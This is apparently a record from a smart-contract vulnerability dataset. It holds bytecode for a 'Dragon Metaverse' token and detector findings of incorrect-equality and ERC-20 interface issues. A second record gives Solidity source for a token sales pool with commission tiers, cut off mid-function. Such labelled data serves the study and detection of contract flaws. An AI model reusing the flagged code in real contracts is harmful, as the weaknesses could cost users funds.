0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146106c0578063b4b5ea5714610726578063c3cda520146107a2578063dd62ed3e1461081b578063e7a324dc146108b7578063f1127ed8146108d557610137565b806370a08231146104a1578063782d6fe1146104f957806379cc67901461057f5780637ecebe00146105e557806395d89b411461063d57610137565b8063313ce567116100ff578063313ce5671461030b57806342966c681461032f578063587cde1e146103755780635c19a95c146103f95780636fcfff451461043d57610137565b806306fdde031461013c578063095ea7b3146101bf57806318160ddd1461022557806320606b701461026757806323b872dd14610285575b600080fd5b610144610974565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020b600480360360408110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ad565b604051808215151515815260200191505060405180910390f35b61022d610b77565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61026f610b9c565b6040518082815260200191505060405180910390f35b6102f16004803603606081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb8565b604051808215151515815260200191505060405180910390f35b610313610e8f565b604051808260ff1660ff16815260200191505060405180910390f35b61035b6004803603602081101561034557600080fd5b8101908080359060200190929190505050610e94565b604051808215151515815260200191505060405180910390f35b6103b76004803603602081101561038b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f70565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61043b6004803603602081101561040f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fa3565b005b61047f6004803603602081101561045357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb0565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b6104e3600480360360208110156104b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd3565b6040518082815260200191505060405180910390f35b6105456004803603604081101561050f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061104a565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105cb6004803603604081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611487565b604051808215151515815260200191505060405180910390f35b610627600480360360208110156105fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611648565b6040518082815260200191505060405180910390f35b610645611660565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068557808201518184015260208101905061066a565b50505050905090810190601f1680156106b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61070c600480360360408110156106d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611699565b604051808215151515815260200191505060405180910390f35b6107686004803603602081101561073c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116d6565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610819600480360360c08110156107b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff16906020019092919080359060200190929190803590602001909291905050506117c8565b005b61087d6004803603604081101561083157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd0565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108bf611c73565b6040518082815260200191505060405180910390f35b610927600480360360408110156108eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff169060200190929190505050611c8f565b604051808363ffffffff1663ffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6040518060400160405280601081526020017f447261676f6e204d65746176657273650000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831415610a00577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9050610a42565b610a3f836040518060400160405280602081526020017f617070726f76653a20616d6f756e742065786365656473203132382062697473815250611cec565b90505b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405180826fffffffffffffffffffffffffffffffff16815260200191505060405180910390a3600191505092915050565b60008060009054906101000a90046fffffffffffffffffffffffffffffffff16905090565b6040518080613084604391396043019050604051809103902081565b6000803390506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff1690506000610c9c856040518060400160405280602081526020017f617070726f76653a20616d6f756e742065786365656473203132382062697473815250611cec565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610d1e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6fffffffffffffffffffffffffffffffff16826fffffffffffffffffffffffffffffffff1614155b15610e76576000610d48838360405180606001604052806037815260200161302c60379139611db3565b905080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405180826fffffffffffffffffffffffffffffffff16815260200191505060405180910390a3505b610e81878783611e91565b600193505050509392505050565b601281565b600080610ed6836040518060400160405280601e81526020017f5f6275726e3a20616d6f756e7420657863656564732031323820626974730000815250611cec565b9050610ef433826fffffffffffffffffffffffffffffffff166122c8565b610f66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6275726e3a206661696c20746f206275726e000000000000000000000000000081525060200191505060405180910390fd5b6001915050919050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610fad3382612607565b50565b60056020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b60004382106110a4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612fe16021913960400191505060405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415611111576000915050611481565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161161121757600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046fffffffffffffffffffffffffffffffff16915050611481565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115611298576000915050611481565b600080905060006001830390505b8163ffffffff168163ffffffff1611156113ff576000600283830363ffffffff16816112ce57fe5b04820390506112db612fae565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681525050905086816000015163ffffffff1614156113d757806020015195505050505050611481565b86816000015163ffffffff1610156113f1578193506113f8565b6001820392505b50506112a6565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046fffffffffffffffffffffffffffffffff1693505050505b92915050565b6000806114c9836040518060400160405280601e81526020017f5f6275726e3a20616d6f756e7420657863656564732031323820626974730000815250611cec565b905060006114f96114da8633611bd0565b8360405180606001604052806024815260200161312d60249139611db3565b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506115ca85836fffffffffffffffffffffffffffffffff166122c8565b61163c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6275726e3a206661696c20746f206275726e000000000000000000000000000081525060200191505060405180910390fd5b60019250505092915050565b60066020528060005260406000206000915090505481565b6040518060400160405280600681526020017f445241474f4e000000000000000000000000000000000000000000000000000081525081565b6000806116be8360405180606001604052806021815260200161306360219139611cec565b90506116cb338583611e91565b600191505092915050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116117405760006117c0565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046fffffffffffffffffffffffffffffffff165b915050919050565b6000604051808061308460439139604301905060405180910390206040518060400160405280601081526020017f447261676f6e204d657461766572736500000000000000000000000000000000815250805190602001206118286127cb565b30604051602001808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405160208183030381529060405280519060200120905060006040518080613218603a9139603a0190506040518091039020888888604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040528051906020012090506000828260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156119d3573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f64656c656761746542795369673a20696e76616c6964207369676e617475726581525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f64656c656761746542795369673a20696e76616c6964206e6f6e63650000000081525060200191505060405180910390fd5b87421115611bba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f64656c656761746542795369673a207369676e6174757265206578706972656481525060200191505060405180910390fd5b611bc4818b612607565b50505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff16905092915050565b6040518080613218603a9139603a019050604051809103902081565b6004602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046fffffffffffffffffffffffffffffffff16905082565b600070010000000000000000000000000000000083108290611da9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d6e578082015181840152602081019050611d53565b50505050905090810190601f168015611d9b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6000836fffffffffffffffffffffffffffffffff16836fffffffffffffffffffffffffffffffff1611158290611e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e49578082015181840152602081019050611e2e565b50505050905090810190601f168015611e765780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f17576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806130c76036913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806131516034913960400191505060405180910390fd5b61201b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff16826040518060600160405280603081526020016130fd60309139611db3565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555061210e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff16826040518060600160405280602a8152602001613002602a91396127d8565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405180826fffffffffffffffffffffffffffffffff16815260200191505060405180910390a36122c3600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836128bb565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561234f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806131d56021913960400191505060405180910390fd5b6000612390836040518060400160405280601e81526020017f5f6275726e3a20616d6f756e7420657863656564732031323820626974730000815250611cec565b9050612410600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff16826040518060600160405280602281526020016131b360229139611db3565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506124e26000809054906101000a90046fffffffffffffffffffffffffffffffff16826040518060400160405280602081526020017f5f6275726e3a20616c6c20746f6b656e2068617665206265656e206275726e74815250611db3565b6000806101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550612584600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000836128bb565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405180826fffffffffffffffffffffffffffffffff16815260200191505060405180910390a3600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046fffffffffffffffffffffffffffffffff16905082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46127c58284836128bb565b50505050565b6000804690508091505090565b6000808385019050846fffffffffffffffffffffffffffffffff16816fffffffffffffffffffffffffffffffff16101583906128af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612874578082015181840152602081019050612859565b50505050905090810190601f1680156128a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561290957506000816fffffffffffffffffffffffffffffffff16115b15612bbd57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612a65576000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116129ac576000612a2c565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046fffffffffffffffffffffffffffffffff165b90506000612a5382856040518060600160405280602281526020016131f660229139611db3565b9050612a6186848484612bc2565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612bbc576000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611612b03576000612b83565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046fffffffffffffffffffffffffffffffff165b90506000612baa8285604051806060016040528060218152602001613252602191396127d8565b9050612bb885848484612bc2565b5050505b5b505050565b6000612be6436040518060600160405280602e8152602001613185602e9139612ef3565b905060008463ffffffff16118015612c7b57508063ffffffff16600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15612d1e5781600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550612e72565b60405180604001604052808263ffffffff168152602001836fffffffffffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505060018401600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405180836fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff1681526020019250505060405180910390a25050505050565b600064010000000083108290612fa4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612f69578082015181840152602081019050612f4e565b50505050905090810190601f168015612f965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006fffffffffffffffffffffffffffffffff168152509056fe6765745072696f72566f7465733a206e6f74207965742064657465726d696e65645f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77737472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63657472616e736665723a20616d6f756e742065786365656473203132382062697473454950373132446f6d61696e28737472696e67206e616d652c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e7472616374295f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f20616464726573735f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e63655f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f20616464726573735f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974735f6275726e3a206275726e20616d6f756e7420657863656564732062616c616e63655f6275726e3a206275726e2066726f6d20746865207a65726f20616464726573735f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f777344656c65676174696f6e28616464726573732064656c6567617465652c75696e74323536206e6f6e63652c75696e7432353620657870697279295f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a265627a7a72315820ee74ccac7ed705bea6517c2de8ce229901bd22042a4c93e5473a8ae361b35d2764736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 5,115 |
0x755727265eff29ccb7750adb663121bdee29d18b
|
pragma solidity ^0.4.24;
pragma experimental "v0.5.0";
pragma experimental ABIEncoderV2;
contract ERC20 {
function balanceOf (address owner) public view returns (uint256);
function allowance (address owner, address spender) public view returns (uint256);
function transfer (address to, uint256 value) public returns (bool);
function transferFrom (address from, address to, uint256 value) public returns (bool);
function approve (address spender, uint256 value) public returns (bool);
}
contract SalesPool {
using Math for uint256;
address public owner;
ERC20 public smartToken;
Math.Fraction public tokenPrice;
uint256 public pipeIndex = 1;
mapping (uint256 => SalesPipe) public indexToPipe;
mapping (address => uint256) public pipeToIndex;
struct Commission {
uint256 gt;
uint256 lte;
uint256 pa;
}
struct Commissions {
Commission[] array;
uint256 length;
}
uint256 termsIndex = 1;
mapping (uint256 => Commissions) public terms;
event CreateSalesPipe(address salesPipe);
constructor (
address _smartTokenAddress,
uint256 _priceNumerator,
uint256 _priceDenominator
) public {
owner = msg.sender;
smartToken = ERC20(_smartTokenAddress);
tokenPrice.numerator = _priceNumerator;
tokenPrice.denominator = _priceDenominator;
uint256 maxUint256 =
115792089237316195423570985008687907853269984665640564039457584007913129639935;
terms[1].array.push(Commission(0 ether, 2000 ether, 5));
terms[1].array.push(Commission(2000 ether, 10000 ether, 8));
terms[1].array.push(Commission(10000 ether, maxUint256, 10));
terms[1].length = terms[1].array.length;
terms[2].array.push(Commission(0 ether, maxUint256, 5));
terms[2].length = terms[2].array.length;
terms[3].array.push(Commission(0 ether, maxUint256, 15));
terms[3].length = terms[3].array.length;
termsIndex = 4;
}
function pushTerms (Commission[] _array) public {
require(msg.sender == owner);
for (uint256 i = 0; i < _array.length; i++) {
terms[termsIndex].array.push(Commission(_array[i].gt, _array[i].lte, _array[i].pa));
}
terms[termsIndex].length = terms[termsIndex].array.length;
termsIndex++;
}
function createPipe (
uint256 _termsNumber,
uint256 _allowance,
bytes32 _secretHash
) public {
require(msg.sender == owner);
SalesPipe pipe = new SalesPipe(owner, _termsNumber, smartToken, _secretHash);
address pipeAddress = address(pipe);
smartToken.approve(pipeAddress, _allowance);
indexToPipe[pipeIndex] = pipe;
pipeToIndex[pipeAddress] = pipeIndex;
pipeIndex++;
emit CreateSalesPipe(pipeAddress);
}
function setSalesPipeAllowance (address _pipeAddress, uint256 _value) public {
require(msg.sender == owner);
smartToken.approve(_pipeAddress, _value);
}
function poolTokenAmount () public view returns (uint256) {
return smartToken.balanceOf(address(this));
}
function transferEther(address _to, uint256 _value) public {
require(msg.sender == owner);
_to.transfer(_value);
}
function transferToken(ERC20 erc20, address _to, uint256 _value) public {
require(msg.sender == owner);
erc20.transfer(_to, _value);
}
function setOwner (address _owner) public {
require(msg.sender == owner);
owner = _owner;
}
function setSmartToken(address _smartTokenAddress) public {
require(msg.sender == owner);
smartToken = ERC20(_smartTokenAddress);
}
function setTokenPrice(uint256 numerator, uint256 denominator) public {
require(msg.sender == owner);
require(
numerator > 0 &&
denominator > 0
);
tokenPrice.numerator = numerator;
tokenPrice.denominator = denominator;
}
function getTokenPrice () public view returns (uint256, uint256) {
return (tokenPrice.numerator, tokenPrice.denominator);
}
function getCommissions (uint256 _termsNumber) public view returns (Commissions) {
return terms[_termsNumber];
}
function () payable external {}
}
contract SalesPipe {
using Math for uint256;
SalesPool public pool;
address public owner;
uint256 public termsNumber;
ERC20 public smartToken;
address public rf = address(0);
bytes32 public secretHash;
bool public available = true;
bool public finalized = false;
uint256 public totalEtherReceived = 0;
event TokenPurchase(
ERC20 indexed smartToken,
address indexed buyer,
address indexed receiver,
uint256 value,
uint256 amount
);
event RFDeclare (address rf);
event Finalize (uint256 fstkRevenue, uint256 rfReceived);
constructor (
address _owner,
uint256 _termsNumber,
ERC20 _smartToken,
bytes32 _secretHash
) public {
pool = SalesPool(msg.sender);
owner = _owner;
termsNumber = _termsNumber;
smartToken = _smartToken;
secretHash = _secretHash;
}
function () external payable {
Math.Fraction memory tokenPrice;
(tokenPrice.numerator, tokenPrice.denominator) = pool.getTokenPrice();
address poolAddress = address(pool);
uint256 availableAmount =
Math.min(
smartToken.allowance(poolAddress, address(this)),
smartToken.balanceOf(poolAddress)
);
uint256 revenue;
uint256 purchaseAmount = msg.value.div(tokenPrice);
require(
available &&
finalized == false &&
availableAmount > 0 &&
purchaseAmount > 0
);
if (availableAmount >= purchaseAmount) {
revenue = msg.value;
if (availableAmount == purchaseAmount) {
available = false;
}
} else {
purchaseAmount = availableAmount;
revenue = availableAmount.mulCeil(tokenPrice);
available = false;
msg.sender.transfer(msg.value - revenue);
}
smartToken.transferFrom(poolAddress, msg.sender, purchaseAmount);
emit TokenPurchase(smartToken, msg.sender, msg.sender, revenue, purchaseAmount);
totalEtherReceived += revenue;
}
function declareRF(string _secret) public {
require(
secretHash == keccak256(abi.encodePacked(_secret)) &&
rf == address(0)
);
rf = msg.sender;
emit RFDeclare(rf);
}
function finalize () public {
require(
msg.sender == owner &&
available == false &&
finalized == false &&
rf != address(0)
);
finalized = true;
address poolAddress = address(pool);
uint256 rfEther = calculateCommission(address(this).balance, termsNumber);
uint256 fstkEther = address(this).balance - rfEther;
rf.transfer(rfEther);
poolAddress.transfer(fstkEther);
emit Finalize(fstkEther, rfEther);
}
function calculateCommission (
uint256 _totalReceivedEther,
uint256 _termsNumber
) public view returns (uint256) {
SalesPool.Commissions memory commissions = pool.getCommissions(_termsNumber);
for (uint256 i = 0; i < commissions.length; i++) {
SalesPool.Commission memory commission = commissions.array[i];
if (_totalReceivedEther > commission.gt && _totalReceivedEther <= commission.lte) {
return _totalReceivedEther * commission.pa / 100;
}
}
return 0;
}
function setOwner (address _owner) public {
require(msg.sender == owner);
owner = _owner;
}
function setTermsNumber (uint256 _termsNumber) public {
require(msg.sender == owner);
termsNumber = _termsNumber;
}
function setAvailability (bool _available) public {
require(msg.sender == owner);
available = _available;
}
}
library Math {
struct Fraction {
uint256 numerator;
uint256 denominator;
}
function isPositive(Fraction memory fraction) internal pure returns (bool) {
return fraction.numerator > 0 && fraction.denominator > 0;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a * b;
require((a == 0) || (r / a == b));
}
function div(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a - b) <= a);
}
function add(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a + b) >= a);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x >= y ? x : y;
}
function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
// try mul
r = value * m;
if (r / value == m) {
// if mul not overflow
r /= d;
} else {
// else div first
r = mul(value / d, m);
}
}
function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
// try mul
